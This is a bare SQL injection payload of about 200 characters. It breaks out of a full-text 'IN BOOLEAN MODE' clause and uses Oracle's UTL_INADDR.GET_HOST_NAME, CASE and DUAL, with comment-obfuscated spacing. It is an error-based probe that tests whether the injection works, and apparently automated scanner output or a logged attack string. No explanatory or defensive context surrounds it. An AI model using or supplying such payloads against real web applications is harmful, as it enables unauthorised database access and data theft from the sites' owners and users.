1′ IN BOOLEAN MODE)AND/**/10854=UTL_INADDR.GET_HOST_NAME((SELECT/**/CHR(126)||’~’||(SELECT/**/(CASE/**/WHEN/**/(10854=10854)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||’~’||CHR(126)/**/FROM/**/DUAL))# 1